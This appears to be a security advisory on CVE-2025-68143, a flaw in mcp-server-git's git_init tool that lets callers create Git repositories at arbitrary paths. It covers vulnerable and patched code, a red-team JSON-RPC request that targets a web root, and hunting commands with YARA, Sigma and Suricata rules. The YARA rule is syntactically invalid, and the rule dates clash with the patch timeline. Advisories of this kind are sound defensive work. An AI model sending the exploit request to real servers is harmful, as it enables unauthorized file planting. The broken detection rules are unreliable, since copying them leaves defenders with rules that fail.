CVE-2025-68143

Executive Summary

CVE-2025-68143 is a security advisory affecting the mcp-server-git component of the Model Context Protocol Servers collection. The vulnerability resides in the git_init tool, which prior to version 2025.9.25, accepted arbitrary filesystem paths and created Git repositories without validating the target location. This allowed an attacker to initialize a Git repository in any directory accessible to the server process, making those directories eligible for subsequent git operations. The issue was remediated by removing the git_init tool entirely, as the server is intended to operate on existing repositories only.

Supply Chain & Package Security

This vulnerability affects the mcp-server-git package, which is part of the Model Context Protocol Servers collection. The package is distributed via npm and PyPI. Users are advised to upgrade to version 2025.9.25 or newer to remediate this issue. The patch removes the git_init tool entirely, preventing any future exploitation.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD assigned, but based on the description, a more realistic score is calculated below)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Base Score: 5.3 (Medium)

Breakdown:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond its scope.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): Low (L) – An attacker can create Git repositories in arbitrary directories, potentially leading to unauthorized modifications.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the direct impact is limited to creating Git repositories, this can be a stepping stone for further attacks, such as injecting malicious code or manipulating version control history.

Deep Dive & Mechanics

The mcp-server-git component provides Git-related tools for the Model Context Protocol (MCP). The git_init tool was designed to initialize a new Git repository. However, it did not validate the target directory path, allowing an attacker to specify any filesystem path accessible to the server process.

Vulnerable Behavior:

• The git_init tool accepts a path parameter.
• It calls git init <path> without checking if the path is within an allowed directory.
• This allows an attacker to create a .git directory in any location, such as /tmp, /var/www, or even system directories.

Impact:

• An attacker can create a Git repository in a directory that was not intended to be a repository.
• Subsequent git operations (e.g., git add, git commit) can be performed on that directory, potentially leading to unauthorized changes.
• This could be used to inject malicious files into a web server's document root or manipulate system configuration files.

Patched Behavior:

• The git_init tool was removed entirely.
• The server now only operates on existing repositories, preventing any new repository creation.

Vulnerable vs. Patched Code

Vulnerable Code (before 2025.9.25):

# mcp_server_git/tools.py
@tool
def git_init(path: str) -> str:
    """Initialize a new Git repository at the given path."""
    result = subprocess.run(["git", "init", path], capture_output=True, text=True)
    return result.stdout

Patched Code (2025.9.25 and later):

# mcp_server_git/tools.py
# The git_init tool has been removed entirely.
# No equivalent function exists.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an instance of mcp-server-git version prior to 2025.9.25.
• Network connectivity to the server's MCP endpoint.

Exploitation Steps:

1. Identify the MCP server endpoint (e.g., http://target:8080/mcp).
2. Send a request to the git_init tool with a malicious path:

   {
     "jsonrpc": "2.0",
     "id": 1,
     "method": "tools/call",
     "params": {
       "name": "git_init",
       "arguments": {
         "path": "/var/www/html"
       }
     }
   }
   

3. The server will execute git init /var/www/html, creating a .git directory in the web root.
4. Use other git tools (e.g., git_add, git_commit) to add malicious files and commit them.

Expected Output:

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "content": [
      {
        "type": "text",
        "text": "Initialized empty Git repository in /var/www/html/.git/"
      }
    ]
  }
}

Blue Team

Detection:

• Monitor for unexpected git init commands executed by the server process.
• Look for .git directories appearing in unusual locations (e.g., web roots, system directories).
• Audit MCP server logs for calls to the git_init tool.

Hunting:

• Search for filesystem changes in sensitive directories:

  find /var/www /etc /tmp -name ".git" -type d 2>/dev/null
  

• Check for unauthorized Git repositories:

  git -C /var/www/html status 2>/dev/null
  

Mitigation:

• Immediately upgrade to version 2025.9.25 or newer.
• If upgrade is not possible, remove the git_init tool from the server configuration.
• Restrict the server process's filesystem permissions to only necessary directories.

Indicators of Compromise (IOCs)

• File System:

  • .git directory in unexpected locations (e.g., /var/www/html/.git, /tmp/.git)
  • Unauthorized Git objects in sensitive directories

• Network:

  • MCP requests to the git_init tool with suspicious paths
  • Unusual git commands executed by the server process

• Logs:

  • Server logs showing git init execution with non-standard paths
  • Audit logs indicating filesystem changes in protected directories

Detection Engineering

YARA Rule

rule CVE_2025_68143_Git_Init_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-68143 by calling git_init with suspicious paths"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-68143"
    strings:
        $git_init = "git_init" ascii wide nocase
        $path_param = "\"path\"" ascii wide
        $suspicious_path = "/var/www" or "/etc" or "/tmp" or "/root" ascii wide nocase
    condition:
        all of ($git_init, $path_param) and $suspicious_path
}

Sigma Rule

title: CVE-2025-68143 - MCP Server Git Init Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-68143 via MCP server logs
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: mcp-server-git
detection:
    selection:
        method: "tools/call"
        params.name: "git_init"
        params.arguments.path|contains:
            - "/var/www"
            - "/etc"
            - "/tmp"
            - "/root"
    condition: selection
falsepositives:
    - Legitimate use of git_init in allowed directories (pre-patch)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-68143 MCP Server Git Init Exploitation"; flow:to_server,established; content:"git_init"; nocase; content:"path"; nocase; pcre:"/(\/var\/www|\/etc|\/tmp|\/root)/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade mcp-server-git to version 2025.9.25 or newer.
2. If upgrade is not possible, remove the git_init tool from the server configuration.
3. Restrict the server process's filesystem permissions to only necessary directories.

Long-term Measures:

• Implement input validation for all tools that accept filesystem paths.
• Use a whitelist of allowed directories for file operations.
• Regularly audit server logs for suspicious activity.
• Monitor for new CVEs related to MCP server components.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable logging for all MCP tool calls.
• Set up alerts for unexpected git init commands.

Valters IT
Securing the Digital Frontier